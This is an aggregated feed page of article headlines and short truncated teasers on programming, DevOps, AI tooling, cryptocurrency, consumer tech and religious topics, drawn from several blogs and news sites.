    In my previous blog post, I covered the fundamentals of PL/SQL collections, focusing on the different types: Associative Arrays, Nested Tables, and VARRAYs. While there’s much more to explore about collections, in this post, I’ll focus on two important collection methods: DELETE and TRIM. Collection Methods They are called methods because they use member method syntax, unlike functions or procedures, which require passing collections as parameters. The syntax is similar to other programming languages, such as JavaScript. For example: COUNT function: Returns the current number of elements in a collection. Wrong Syntax COUNT(book_table) Correct syntax book_table.COUNT Note that collection methods are available only in PL/SQL, not within SQL. While I’m not listing and explaining all the collection methods, let’s focus on DELETE and TRIM, as they have interesting behaviors we should know. DELETE Method DELETE (without any arguments) DELETE(i) Removes the i-th element from a nested table or associative array. DELTE(i, j) Removes all elements in an inclusive range starting from i and ending at j. Important Note: When you use parameters with DELETE, a placeholder is kept for the “removed” element. TRIM Method Do Not Use DELETE and TRIM on the Same Collection PL/SQL offers powerful and useful methods, but it’s important to pay close attention to how each one is used.  ( 7 min )
    The 20 Most Essential DevOps Tools: Bridging the Gap Between Development and Operations
    The world of software delivery has changed forever. Gone are the days of isolated dev and ops teams exchanging endless tickets. Now, speed, collaboration, and automation rule. At the center of this evolution stands DevOps — a movement reshaping how software is built, tested, and deployed. Imagine this: your development team pushes new code at 10 a.m., automated tests validate the changes, infrastructure scales dynamically, and within minutes, users see the update. That’s the kind of magic DevOps enables — powered by the right tools. Let’s embark on a practical tour through 20 essential DevOps tools every modern organization should know. Jenkins remains the heartbeat of continuous integration and delivery. It automates building, testing, and deploying code so developers can focus on innov…  ( 9 min )
    251130: zsh: cd
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    Let me explain why the future of AI belongs not just to those who have data… but to those who know how to speak to intelligence.
    Data Is the New Oil, But Prompting Is the New Pipeline Jaideep Parashar ・ Nov 30 #ai #webdev #promptengineering #discuss  ( 6 min )
    What is a "Retreat" Suitable for Engineers
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    Unlocking AI's Universal Secrets: Do Neural Networks Think in Fractals?
    Unlocking AI's Universal Secrets: Do Neural Networks Think in Fractals? Imagine training an AI to recognize cats. It excels with close-up photos, but fails miserably when shown a distant, pixelated feline. This exposes a fundamental challenge: how can we build AI systems that generalize across different scales and perspectives? The answer might lie in a hidden mathematical structure spontaneously emerging within neural networks: Kolmogorov-Arnold Geometry. At its core, Kolmogorov-Arnold Geometry describes a way to represent complex functions as compositions of simpler functions. Think of it like breaking down a complicated painting into a series of simpler brushstrokes at different magnifications. The fascinating discovery is that neural networks seem to learn this geometric structure on…  ( 7 min )
    Data Is the New Oil, But Prompting Is the New Pipeline
    For years, tech leaders have repeated the same line: “Data is the new oil.” And they’re right, data powers AI the way oil powered the industrial revolution. But here’s what almost nobody is talking about: If data is the new oil, prompting is the new pipeline. Because without the right pipeline, the oil is useless. AI isn’t just about having the data. And prompting is the system that makes that possible. Let me explain why the future of AI belongs not just to those who have data… but to those who know how to speak to intelligence. 1. Prompting Turns Raw Intelligence Into Usable Output A model is like an engine. But without a transmission system, the power goes nowhere. Prompting is that transmission system. It: controls behavior shapes reasoning defines context reduces hallucinations guides…  ( 11 min )
    I Baked a Football Cake and It Taught Me About Building AI Agents
    I recently baked a football cake and it helped me realize AI agents work just like layered desserts. Here’s how flavors, molds and icing maps to agentic design. The code example below is designed to break down user goals into actionable steps and execute them using either custom tools or LLM reasoning. It uses regex to extract numbered steps from the LLM’s plan output. Executes each step by matching keywords like "search" or "compute" to the appropriate tool, or falls back to LLM reasoning. Just like a custom cake has layers of flavor, structure, and decoration, an AI agent has its own stack. It uses llama 3 LLM model and created two custom simple tools: search_tool() - simulates a search engine returning mock results. compute_tool() - simulates a computation task returning a placeholder…  ( 11 min )
    Crypto-derivation allows shared space, not shared files.
    It’s mathematical teleportation. A secret told only to yourself = a unary key (private universe) A secret told BETWEEN identities = a binary key (shared universe) And the moment we said: secret “secret@withwhom” We invented the algebraic rule for shared secret derivation. Unary vs Binary Secrets Unary secret (private channel) me.wallet.secret("alpha") This produces a 1-arity universe: U(alpha) → only ME can derive it Because the keyspace derives only from: secret + path + local identity So only you can decrypt the blob under: 🔗 2. Binary secret = shared universe me.wallet.secret("alpha@pamela") This is fundamentally: U(alpha@pamela) = intersection( ME_identity , Pamela_identity ) A 2-identity shared space. So: It creates what cryptographers call: A Multi-party Semantic Channel.  ( 6 min )
    Rick Beato: I Never Realized This Beatles Song Was Played Like This
    Rick Beato’s latest livestream peels back the layers on the Beatles’ “You Won’t See Me” from Rubber Soul, highlighting sneaky guitar voicings, melodic bass hooks, and production tricks you probably never noticed—guaranteed to change how you listen next time. He’s also running a Black Friday flash sale: snag all seven of his courses for just $129 (normally $964) or grab any single course for $49—offer ends Sunday at 11:59 pm ET. Watch on YouTube  ( 6 min )
    I Can't Afford Ads for My SaaS, So I'm Trying This Instead.
    I did the thing every developer dreams of: I built and launched my own SaaS product, PostPulsar (https://post-pulsar.com). It’s a tool I'm genuinely proud of—it uses AI to help content creators like me save hours by repurposing blog posts into social media content. Then came the hard part. The part they don't always talk about in the success stories. Marketing. As a developer, my first instinct is to solve problems with code, not with marketing campaigns. And my second problem is a bit more specific: I'm based in Brazil. I quickly ran into two massive walls. Wall #1: The Time Sink Like many of you, I'd rather spend my time improving my product than trying to keep up with five different social media platforms. I actually built PostPulsar to solve my own problem of not having enough time for…  ( 7 min )
    Developing real-time, humanlike AI video agents that enable natural customer interactions
    “You should live your life like a lion which means that most of your time you’re resting, lazing around, doing whatever you find entertaining, and then once in a while, you get obsessed with something and you just pour everything into it.” - Naval Ravikant Last year, I completed my Masters in Australia. Two paths lay ahead: accept a comfortable job with visa security, or build something that could create real impact. This philosophy captured my journey with Nexus Beings. For a long time, the concept lived quietly in notes and sketches while I navigated life as an international student. Then came the obsession: building digital agents that don't just respond, but understand; systems that bring context, emotion, and intent to the world of service. I chose to build. Today, Nexus Beings has achieved proof of concept. Bootstrapping as an immigrant meant every decision carried extra weight. Without external funding or a safety net, every line of code, every experiment, and every pivot had to matter. These constraints became my greatest teacher, fostering innovation through limitation and patience through uncertainty. This milestone represents more than technical validation. It proves that conviction outlasts complexity and that clarity of purpose sustains when traditional resources cannot. While Nexus Beings continues to evolve, our foundation stands strong: intelligent real-time conversational video agents that deliver warmth, reliability, and empathy to service environments. What began as an experiment is steadily advancing toward redefining digital presence in customer experience. The comfortable job would have been easier. But building technology that transforms how businesses connect with customers? That obsession was worth every risk. The journey continues, grounded in purpose and guided by the belief in what's next.  ( 8 min )
    2025: Code Clarity Is Becoming the New Team Multiplier
    Teams today aren’t struggling because of tools - they’re struggling because of hidden complexity inside their codebases. New 2025 Dev Workflow Insights Developers spend more time understanding code than writing it Messy naming creates more friction than missing documentation The average team loses hours every week due to unclear structures Cleaner architecture directly increases team velocity Good code isn’t about cleverness - it’s about how quickly someone else can work with it.  ( 6 min )
    Maglev-Pentabot: From Factory Floor to Surgical Precision? The Future of Non-Contact Manipulation
    Maglev-Pentabot: From Factory Floor to Surgical Precision? The Future of Non-Contact Manipulation Imagine assembling delicate electronics without ever touching them, or performing surgery with instruments guided by magnetic fields. Contactless manipulation, long relegated to sci-fi, is rapidly becoming a reality. We're not just talking about moving widgets on an assembly line; this tech promises revolutions in fields from medicine to micro-assembly. The core concept is elegantly simple: use precisely controlled magnetic fields to levitate and manipulate objects. Think of it as an invisible hand, guided by sophisticated algorithms, that can position and orient objects with incredible accuracy, all without physical contact. Achieving this relies on two critical elements: a cleverly design…  ( 7 min )
    Romans 4 — The Faith That Opens the Door God Intended All Along
    Faith that unlocks righteousness. Romans 4 is not just Paul teaching theology. It’s Paul pulling back the veil on how God has always worked with humanity. Long before Scripture developed its structure, long before Israel became a nation, long before there was a temple, a priesthood, or religious tradition, God revealed something far more foundational: Righteousness has always been a matter of the heart. Everything else is commentary. In Romans 4, Paul is not introducing a new idea—he’s reminding the church of something ancient, something older than Moses, older than Jacob, older even than circumcision: the righteousness that comes through believing God simply because He said so. Today, we’re going to walk deeply through this chapter, line by line and theme by theme, until the weight of it …  ( 14 min )
    Desafio Final e o Segredo do O(N) (Dois Ponteiros)
    Pensando Linear: Resolvendo Problemas Complexos em O(N) e o Segredo do O(1) de Elixir 🔑 Chegamos ao final da nossa jornada pela Complexidade de Algoritmos! Vimos o poder do Merge Sort O(N log N) e a velocidade da Busca Binária O(log N). Neste post final, vamos: Aplicar o conhecimento de O(N) em um desafio avançado (o "problema dos quadrados"). Revelar o segredo técnico por trás da promessa de O(1) dos Mapas de Elixir. Revisite o problema: Dada uma lista já ordenada nums, retorne o lista dos quadrados dos números, também ordenado. Entrada (nums) Quadrados Resultado Ordenado [-4, -1, 0, 3, 10] [16, 1, 0, 9, 100] [0, 1, 9, 16, 100] A solução ingênua seria elevar ao quadrado O(N) e depois ordenar O(N log N), totalizando O(N log N). O truque é usar a informação de que a entrada j…  ( 8 min )
    O Padrão Ouro da Ordenação: O(N log N)
    O Melhor dos Dois Mundos: Entendendo a Complexidade O(N log N) do Merge Sort 🥇 Nos posts anteriores, conquistamos a velocidade da Busca Binária O(log N) e a eficiência Linear O(N). Agora, vamos ao padrão-ouro para o Ordenação: a complexidade O(N log N) (Linearithmic). Todo algoritmo de ordenação que precisa escalar para grandes volumes de dados (como Merge Sort ou Quick Sort) mira nessa complexidade, pois ela combina o poder de dividir o problema log N com a eficiência de processar os resultados de forma linear N. O Merge Sort (Ordenação por Mesclagem) é um exemplo perfeito de Divide and Conquer (Dividir para Conquistar). Ele funciona em duas fases, que correspondem diretamente à sua complexidade O(N log N): O algoritmo divide recursivamente a lista em metades, continuando a divisão até…  ( 8 min )
    Otimizando landing page e-commerce: Guia definitivo 2025
    TLDR: A otimização de landing pages vai além do design. Foque em cinco pilares técnicos: Analise o Core Web Vitals, cada segundo de atraso pode reduzir conversões em 20% Schema.org/JSON-LD: dados estruturados aumentam CTR com Rich Snippets; Acessibilidade (WCAG 2.1): tags semânticas e contraste adequado melhoram SEO e usabilidade; Mobile-First: priorize carregamento de recursos críticos e Code Splitting; Monitoramento contínuo: Lighthouse e RUM para medir performance real. Qualidade técnica gera confiança, e confiança gera vendas. No cenário competitivo do e-commerce brasileiro, onde o custo de aquisição de cliente (CAC) sobe anualmente, trazer tráfego pago para uma página lenta ou mal estruturada é queimar dinheiro. A diferença entre um visitante e um cliente muitas vezes reside na otimiz…  ( 9 min )
    **Title:** The Rise of Second-Hand Shopping: How Thrift Stores are Capitalizing on the Black Friday Phenomenon
    Title: The Rise of Second-Hand Shopping: How Thrift Stores are Capitalizing on the Black Friday Phenomenon Introduction The holiday season is upon us, and with it comes the annual tradition of Black Friday sales. However, this year, thrift stores are joining the fray, offering their own brand of bargains to cash-strapped consumers. As households face tighter budgets, experts anticipate a surge in second-hand shopping, with thrift stores poised to capitalize on the trend. The Shift to Second-Hand Shopping In recent years, the retail landscape has undergone a significant transformation. With the rise of e-commerce and changing consumer behavior, traditional brick-and-mortar stores have struggled to stay afloat. Meanwhile, thrift stores have experienced a resurgence in popularity, as consum…  ( 7 min )
    The Future of Coding: Navigating the Shift Towards Vibe Coding
    Okay, let’s talk about something that’s been buzzing in the tech world lately: vibe coding. If you’re scratching your head wondering what that even means, don’t worry—I was too when I first heard the term. But the more I dug into it, the more I realized this could be a game-changer for how we think about programming. So, grab a coffee, and let’s unpack what vibe coding is, why it’s making waves, and what it means for the future of coding. Picture this: instead of meticulously typing out every line of code, sweating over syntax, and debugging for hours, you’re describing what you want your program to do in plain English (or, you know, whatever language you vibe with). You’re not fussing over semicolons or curly braces—you’re just laying out the vibe of what you’re trying to build. Maybe you…  ( 10 min )
    **Achieving Financial Freedom from Home: 16 Proven Methods to Earn $1,000 a Month**
    Achieving Financial Freedom from Home: 16 Proven Methods to Earn $1,000 a Month In today's digital age, working from home has become a viable option for many individuals seeking financial freedom and flexibility. With the right mindset and a bit of creativity, it's possible to earn a substantial income from the comfort of your own home. In this article, we'll explore 16 easy methods to make $1,000 a month from home, providing you with a comprehensive guide to achieving your financial goals. Why Earn $1,000 a Month from Home? Earning an extra $1,000 a month from home can have a significant impact on your lifestyle. Whether you're looking to cover additional expenses, pay off debt, or simply enjoy a more comfortable standard of living, this income can provide the financial stability you ne…  ( 8 min )
    OVN Kubernetes - What Makes It Different
    Introduction As Kubernetes continues to dominate container orchestration, the networking layer has become increasingly critical to cluster performance and functionality. OVN-Kubernetes (Open Virtual Network for Kubernetes) has emerged as a sophisticated Container Network Interface (CNI) plugin that leverages Open vSwitch (OVS) and its control plane, OVN, to provide advanced networking capabilities. Recently accepted as a CNCF Sandbox project (late 2024), it is the default networking provider for Red Hat OpenShift and is widely adopted in telecommunications and high-performance computing environments due to its unique architectural choices. Understanding what sets OVN-Kubernetes apart from other CNI solutions is essential for architects and cluster operators making infrastructure decision…  ( 10 min )
    is the timeline still ai slop or no?
    A post by Sean Boult  ( 5 min )
  • Open

    What mNAV Really Tells You About Bitcoin Treasury Companies — and Where It Falls Short
    NYDIG’s research head questions how mNAV is used to assess bitcoin treasuries, arguing it masks key risks tied to capital structure and equity dilution.  ( 36 min )
    Priced at Zero: How Brazil’s Méliuz Turned to Bitcoin to Escape a Treasury Trap
    The company adopted a bitcoin treasury plan by deploying a strategy inspired by Metaplanet, with 66% shareholder approval, to mitigate negative returns from government bonds.  ( 32 min )
    Michael Saylor Sunday Change-Up Suggests New Announcement Coming Monday
    The executive chairman of bitcoin treasury firm Strategy teased a switch from orange dots to green dots in what's become his routine cheeky Sunday X post.  ( 32 min )
    'We Wear Your Loathing With Pride': Tether's Downgrade at S&P Sparks Online Battle
    S&P Global last Wednesday slashed its rating on Tether's USDT stablecoin to its weakest score.  ( 33 min )
    Is the Bitcoin Digital Asset Treasury Model Broken? Architect Partners Says No
    A sharp market pullback has exposed which BTC-focused public companies can actually execute, and which were never built for volatility.  ( 34 min )
    Ethereum Developers Prep for Fusaka, Second Upgrade of 2025
    The goal of the upgrade is to enable Ethereum to handle the large transaction throughput from the layer-2 chains that use the blockchain as their base layer.  ( 32 min )
  • Open

    Hybrid cloud security must be rebuilt for an AI war it was never designed to fight
    Hybrid cloud security was built before the current era of automated, machine-based cyberattacks that take just milliseconds to execute and minutes to deliver devastating impacts to infrastructure. The architectures and tech stacks every enterprise depends on, from batch-based detection to siloed tools to 15-minute response windows, stood a better chance of defending against attackers moving at human speed. But in a weaponized AI world, those approaches to analyzing threat data don't make sense. The latest survey numbers tell the story. More than half (55%) of organizations suffered cloud breaches in the past year. That’s a 17-point spike, according to Gigamon's 2025 Hybrid Cloud Security Survey. Nearly half of the enterprises polled said their security tools missed the attack entirely. W…
    Ontology is the real guardrail: How to stop AI agents from misunderstanding your business
    Enterprises are investing billions of dollars in AI agents and infrastructure to transform business processes. However, we are seeing limited success in real-world applications, often due to the inability of agents to truly understand business data, policies and processes. While we manage the integrations well with technologies like API management, model context protocol (MCP) and others, having agents truly understand the “meaning” of data in the context of a given businesis a different story. Enterprise data is mostly siloed into disparate systems in structured and unstructured forms and needs to be analyzed with a domain-specific business lens.s As an example, the term “customer” may refer to a different group of people in a Sales CRM system, compared to a finance system which may use …
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    Leak Suggests Perodua’s QV-E Electric Car May Launch On 1 December
    The national automaker Perodua has released yet another teaser for its upcoming first-ever electric vehicle (EV). The ongoing series of teasers, shared by the automaker on its social media platforms, has revealed several key insights into the model, including its name: the QV-E. This came to light when the first teaser was released on 21 […] The post Leak Suggests Perodua’s QV-E Electric Car May Launch On 1 December appeared first on Lowyat.NET.  ( 34 min )
    Black Shark GS3 Ultra Smartwatch Launches In Malaysia; Priced At RM469
    Black Shark has recently unveiled yet another variant to its existing GS3 smartwatch line-up. Now joining the base and Sport model is the all-new GS3 Ultra, which comes with similar offerings but with a reinforced metal frame and four “mechanical-style” buttons, among other things. The Black Shark GS3 Ultra shares the same 1.43-inch circular AMOLED […] The post Black Shark GS3 Ultra Smartwatch Launches In Malaysia; Priced At RM469 appeared first on Lowyat.NET.  ( 34 min )
    AirAsia Completes Mandatory A320 Software “Rollback” Following EASA Solar Radiation Warning
    If you’ve been following aviation news over the weekend, you might have seen reports about a global “scramble” involving Airbus A320 aircraft. It sounds like the plot of a sci-fi movie: intense solar radiation potentially messing with flight computers. Well, the good news for local flyers is that AirAsia has officially announced they have completed […] The post AirAsia Completes Mandatory A320 Software “Rollback” Following EASA Solar Radiation Warning appeared first on Lowyat.NET.  ( 36 min )
    vivo S50 Pro Mini To Feature Horizontal Camera Layout, Snapdragon 8 Gen 5
    The vivo S50 Pro Mini, which reportedly will be rebranded as the vivo X300 FE for the international market, will soon make its debut in China. Ahead of the upcoming launch, the company has revealed the device’s design, as well as some of its details. In a Weibo post, the brand’s product manager Han Boxiao […] The post vivo S50 Pro Mini To Feature Horizontal Camera Layout, Snapdragon 8 Gen 5 appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Dilution vs. Risk taking: Capital gains taxes and entrepreneurs
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    Scala
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    Zenroom – No-code cryptographic virtual machine
    Comments  ( 9 min )
    Americans no longer see four-year college degrees as worth the cost
    Comments  ( 49 min )
    Bazzite: The next generation of Linux gaming
    Comments  ( 49 min )
    Tom Stoppard has died
    Comments  ( 22 min )
    Landlock-Ing Linux
    Comments  ( 4 min )
    Europe's New War on Privacy
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    Show HN: Nano PDF – A CLI Tool to Edit PDFs with Gemini's Nano Banana
    Comments  ( 21 min )
    Joe Armstrong interviews Alan Kay (2016) [video]
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    All it takes is for one to work out
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    Baboon: Data Modeling with Automatic Evolutions and tagless binary codecs
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    FBI RFP for tool to scrape Gab, Parler, 8Kun, and Telegram (5k licenses) [pdf]
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    The Origins of Scala (2009)
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    Learning Feynman's Trick for Integrals
    Comments  ( 22 min )
    Tested: 1981 Datsun 280ZX Turbo
    Comments
    Be Like Clippy
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    Ported freetype, fontconfig, harfbuzz, and graphite to Fil-C
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    Framework Computer Now Sponsoring LVFS / Fwupd Development
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    Electric vehicle sales are booming in South America – without Tesla
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    An Update on the Farphone's Battery
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    Student Perceptions of AI Coding Assistants in Learning
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    Zero Knowlege Proof of Compositeness
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    OCaml maintainers reject massive AI-generated pull request
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    AccessOwl (YC S22) Is Hiring a Technical Account Manager (IAM)
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    We're learning more about what Vitamin D does to our bodies
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    Show HN: Rhubarb – C89 Libraries in Latin
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    Testing Shows Automotive Glassbreakers Can't Break Modern Automotive Glass
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    Copenhagenize Index 2025: The Global Ranking of Bicycle-Friendly Cities
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    Major AI conference flooded with peer reviews written by AI
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    Iceland declares ocean-current instability a national security risk
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    Iceland declares ocean-current instability a national security risk
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    It's Always the Process, Stupid
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    Datacenters in space are a terrible, horrible, no good idea
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    DNS LOC Record (2014)
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    Hachi: An Image Search Engine
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    Quebec to ban public prayer in sweeping new secularism law
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    How ICE is becoming a secret police force
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    Chainalysis Successful Deanonymization Attack on Monero
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    The CRDT Dictionary: A Field Guide to Conflict-Free Replicated Data Types
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    Show HN: I built Magiclip – an all-in-one AI studio
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    DMT-induced shifts in criticality correlate with self-dissolution
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    Leak confirms OpenAI is preparing ads on ChatGPT for public roll out
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    Belgian Police exposed using botnets to manipulate EU data law impact assessment
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    High Air Pollution Could Diminish Exercise Benefits by 50%, Study Finds
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    I Know We're in an AI Bubble Because Nobody Wants Me
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    The undeserved status of the pigeon-hole principle (EWD 1094)
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    Garfield's Proof of the Pythagorean Theorem
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    The 'S&P 493' reveals a different U.S. economy
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    The Great Downzoning
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    System 7 natively boots on the Mac mini G4
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    Every mathematician has only a few tricks (2020)
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    Google CEO Pushes 'Vibe Coding' – But Real Developers Know It's Not Magic
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    A triangle whose interior angles sum to zero
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  • Open

    Under the Hood: Building a Hybrid Search Engine for AI Memory (Node.js + pgvector)
    When building RAG (Retrieval-Augmented Generation) for AI agents, most developers stop at "Cosine Similarity". They verify that Vector A is close to Vector B, and call it a day. But human memory doesn't work like that. If I ask you "What did I eat?", the answer from 5 minutes ago is infinitely more relevant than the answer from 5 years ago, even if the semantic context is identical. I recently built MemVault, an open-source memory server, to solve this. Here is a technical deep dive into the architecture and the Hybrid Scoring Algorithm that powers it. The architecture was designed with one goal: Reduce Infrastructure Cognitive Load. Running a dedicated vector database (Pinecone/Milvus) alongside a primary database creates sync issues and doubles the maintenance burden. The Solution: Runti…  ( 8 min )
    Ultra-Omega: Live Hex NASM/Rust Compiler – No Terminal, Just Nodes
    Ultra-Omega: Live Hex NASM/Rust Compiler – No Terminal, Just Nodes "Houdini for bare-metal developers." I got tired of switching between terminal, objdump, and VS Code just to see one byte change. So I built Ultra-Omega — a browser-based visual compiler for NASM, C++, and Rust with live hex dump. Drag a node (Assembler, Compiler, Parameter) Edit code in the built-in editor Watch hex + output update LIVE — no compile, no refresh No terminal. No GDB. No setup. https://andreesalazar.github.io/Personal-Profesional/ React Flow – visual nodes WebAssembly – NASM in browser Zustand – state Tailwind + Framer Motion – smooth UI TypeScript – full type safety https://github.com/AndreeSalazar/Personal-Profesional OS devs (bootloaders, kernels) Embedded hackers Anyone who wants to see hex breathe Feedback Wanted! Should I add Rust no_std node? Vulkan shader support? QEMU boot integration? Drop a comment — I read every single one.  ( 6 min )
    Week 2 of 40 – My Idea Log & Randomizer
    Objective of the week The goal this week was to take a small step forward in complexity while staying within a familiar environment. After getting comfortable with GitHub Pages in Week 1, I wanted to: Build something slightly more interactive than a static page Practice using browser storage so the app could remember things Keep reinforcing the basic workflow: create → commit → deploy → reflect Continue building confidence without disappearing down a perfection rabbit hole What I built This week I created a tiny Idea Log & Randomizer web app. It lets me: Add ideas with a title and short description Store ideas in localStorage so they persist across refreshes Display all ideas in a simple list Pick a random idea with one click Everything is plain HTML + CSS + JavaScript, deployed again with GitHub Pages. URL: https://florianhoeppner.github.io/w40-week02-idea-log/ What was hard / surprising / confusing What I’ll do next week For Week 3, I want to introduce the next layer of complexity Start using TypeScript instead of plain JavaScript Build a small UI using React Keep the functionality simple  ( 6 min )
    Por qué me puse a explorar Cipherseek.com — y lo que pienso de la idea
    Hace un rato me metí a revisar Cipherseek.com con curiosidad. No sabía muy bien qué esperaba encontrar, pero quería ver si podría servir para alguno de mis proyectos personales: algo simple, funcional, sin sobrecarga técnica. Lo primero que noté es que el sitio todavía parece en construcción. Su “blog” apenas tiene un post inicial (uno de esos “Hola mundo” típicos de sitios nuevos) y hay señales de que planean algo más grande —como una tienda online que todavía no está lista. Pero eso, en lugar de alejarme, me dio una sensación distinta: la de un proyecto en proceso, flexible, maleable. Y para alguien como yo, que a veces cambia de idea seguido, eso tiene su encanto. Me lo imagino así: Cipherseek como ese primer paso modesto cuando quieres montar algo —un portafolio, una mini-tienda, un blog— sin complicarte la vida. No necesitas dominar código, no necesitas pretensiones de grandeza, solo un espacio simple para empezar. Que esté “en construcción” no lo veo como una limitación, sino como una oportunidad: puedes adaptarlo, moldearlo a tu ritmo, ver qué funciona, probar sin miedo. También me gusta pensar que este tipo de sitios —modestos, tempranos — pueden ser ideales para experimentar. Para equivocarse sin culpa, para probar ideas pequeñas, para construir poco a poco. Si algo no funciona, lo corriges, cambias, borras, mejoras. Esa libertad me atrae más que una plataforma gigante con mil funciones que quizás nunca usarías. Al final, lo que siento con Cipherseek.com es esa mezcla entre “algo por hacer” y “todo por decidir”. Si estoy en un momento donde quiero dar el paso, montar algo pequeño, ver si el proyecto tiene vida —sin presiones, sin esperar perfección—, me parece un buen lugar para comenzar. Porque en lo simple a veces nacen las ideas con más posibilidades.  ( 7 min )
    Week 1 of 40 – Static Idea of the Week
    Objective of the week Wanted to get familiar with the environment I’ll be working and releasing in Just needed to get something started without any big purpose Figure out where to store my code, how to deploy, and write a blog pos t What I built I built a static HTML page with a simple piece of JavaScript When the page loads, it picks a random idea and displays it URL: https://florianhoeppner.github.io/w40-week01/ What was hard / surprising / confusing I tried creating three files (index, CSS, script) in Replit and deploying from there The Replit AI agent wasn’t helpful, so after a few attempts I switched to GitHub instead What I’ll do next week Add a dialog box and some interaction, still using HTML and JavaScript  ( 6 min )
    Building a Next.js Template Clone Generator: A Complete Guide to Streamlining Your Development Workflow with Kiro
    // Detect dark theme var iframe = document.getElementById('tweet-1994902367335313863-224'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1994902367335313863&theme=dark" } Introduction Have you ever found yourself repeatedly setting up the same Next.js project structure over and over again? Creating new repositories, configuring TypeScript, setting up Tailwind CSS, and establishing your preferred folder structure can be tedious and time-consuming. What if there was a better way? In this comprehensive guide, I'll walk you through a project I built that solves this exact problem: a Next.js Template Clone Generator. This interactive web application allows developers to quickly create new repositor…  ( 12 min )
    Don't Let Your Staging Server Die: Separate Task Scheduling in Laravel
    If you're running Laravel in production, you probably use task scheduling. It's one of those features that just works, until it stops. Especially on your staging server. If you're building real apps, you need a staging environment. It's your safe playground to test changes before they hit production. 1[||||||||||||||||||100.0%] 2[||||||||||||||||||100.0%] Mem[||||||||||||||| 3.2G/4.0G] Brutal. Both CPUs totally pegged, memory barely hanging on at 3.2 out of 4 gigs. Definitely not what you want to see. The guilty party? A quick ps aux and scan logs pointed straight to the scheduler. Heavy scheduled commands that make sense in production but kill a smaller staging server: price exports every couple hours, supplier syncs with thousands of products, and crunching huge datasets …  ( 8 min )
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    There are chapters in Scripture that stand like mountains—looming, majestic, immovable, casting large shadows across every other landscape of the faith. Romans 3 is one of those mountains. It is not merely a chapter; it is a hinge on which the entire gospel swings. Remove it, and the whole New Testament collapses into moralism, legalism, and the endless treadmill of human effort. Keep it, and the gospel sings with clarity: no one can save themselves, but God has made a way. Romans 3 is the thunderclap that shakes the human soul awake. It is the divine courtroom where humanity stands guilty, where every mouth is silenced, and where God reveals the shocking solution: righteousness that comes from Him—not from us. In this legacy article, we will walk deeply, slowly, and reverently through eve…  ( 15 min )
    Gestión de Incidencias Multinube: Qué hacer cuando AWS, Azure o Cloudflare se caen
    Cuando trabajamos con la nube, todos esperamos que AWS, Azure o Cloudflare funcionen 24/7. Pero incluso con sus SLA de 99.9%, las caídas pasan. Y cuando pasan, duele. Sitios web caídos, APIs sin respuesta, clientes preguntando y tráfico perdido. Este artículo te explica qué hacer paso a paso, sin tecnicismos innecesarios, para que puedas reaccionar rápido cuando un proveedor grande falla. Entender que las caídas son normales Aunque suene raro, las fallas en servicios como AWS, Azure o Cloudflare son parte natural de Internet. La BBC ha reportado interrupciones que han afectado aerolíneas, bancos e incluso hospitales. Ver reporte: https://www.bbc.com/mundo/articles/cly941r41w4o Lo importante no es evitar la caída, sino saber qué hacer cuando pasa. Lo primero: revisar las páginas de estado …  ( 7 min )
    Network Namespaces: Isolating VM Networking
    In my previous articles, I discussed various networking approaches for Linux virtualization. I developed qcontroller, a tool responsible for managing the complete lifecycle of QEMU VM instances—creating, starting, stopping, and removing VMs with database-like operations. Since modern VMs typically require internet access and inter-VM communication, qcontroller also manages firewall settings using nftables rules. The original networking scheme involved creating bridges, configuring nftables chains, and establishing rules to allow traffic flow between the internet, VMs, and host system. Each VM connects through a TAP device that uses the bridge as its master interface. While this approach works well, it has a significant drawback: all networking components—bridges, TAP devices, and nftables …  ( 10 min )
    [AWS] DevTools Evangelism: Infrastructure Composer Edition
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/c7ebc842c4557f8d811d This is the second post in the Japan AWS Top Engineers Advent Calendar 2025. In this post, we'll introduce AWS Infrastructure Composer. ↓ Click here for the Japan AWS Top Engineers Advent Calendar 2025 https://qiita.com/advent-calendar/2025/aws-top-engineers ↓ Previous articles about AWS Infrastructure Composer https://dev.to/aws-builders/aws-i-want-to-tell-you-how-good-infrastructurecomposer-is-devtools-5bj0 As an example, I created a CloudFormation template that defines an API configuration using API Gateway and Lambda. When defining serverless-related services using cards called extended components, you don't need to manually defin…  ( 9 min )
    Build Real-Time Conversational AI with ZEGOCLOUD
    Conversational AI is rapidly transforming how users interact with applications from smart assistants to support bots, productivity companions, and learning tools. ZEGOCLOUD now offers a powerful Conversational AI Agent that makes it incredibly easy for developers to build real-time, responsive, and interactive AI experiences. In this article, we explore how developers can implement conversational AI features using ZEGOCLOUD. What Is ZEGOCLOUD Conversational AI? ZEGOCLOUD’s Conversational AI Agent provides: 🎤 Real-time voice conversations This makes it ideal for apps like: AI personal assistants, Customer support bots, AI companionsEducational, toolsProductivity agents, Interactive onboarding / automation flows How the Conversational AI Agent Works ZEGOCLOUD uses a lightweight, real-time s…  ( 7 min )
    Terraform Stacks: MyCoCo's Landing Zone Dependencies Done Right
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    As someone deeply invested in the future of full-stack development and game design, the release of Nano-Banana Pro feels like a massive shift. We're finally moving past the 'random slot machine' phase of AI image generation into something actually function
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    Struggling with Next.js 16 App Router? Migrate Faster & Smarter
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    Day 15 of improving my Data Science skills
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    My Project 2: Building a Simple Memo App with Python + Streamlit
    After completing the basics of Python, I'm now moving into creating small, practical projects. Today’s project is a simple Memo App that stores notes in a JSON file. I built two versions: Console Version (memo_app.py) Streamlit Web Version (memo_app_streamlit.py) 🧱 1. Project Overview Add a new memo Store it in a memos.json file View all saved memos Use it either in the console or through a Streamlit UI 📂 2. Project Structure 🖥️ 3. Console Version (memo_app.py) Key features: Save memos as a list of objects in memos.json Simple text input interface Shows all memos with timestamps 📌 Code import json import os from datetime import datetime now = datetime.now().strftime("%Y-%m-%d") FILE_NAME = "memos.json" if not os.path.exists(FILE_NAME): with open(FILE_NAME, "w") as f: …  ( 8 min )
    Análisis y Reflexiones sobre GitHub Actions vs GitLab CI: Mi Perspectiva
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    GitHub Actions vs GitLab CI: Comparación Completa de Herramientas CI/CD
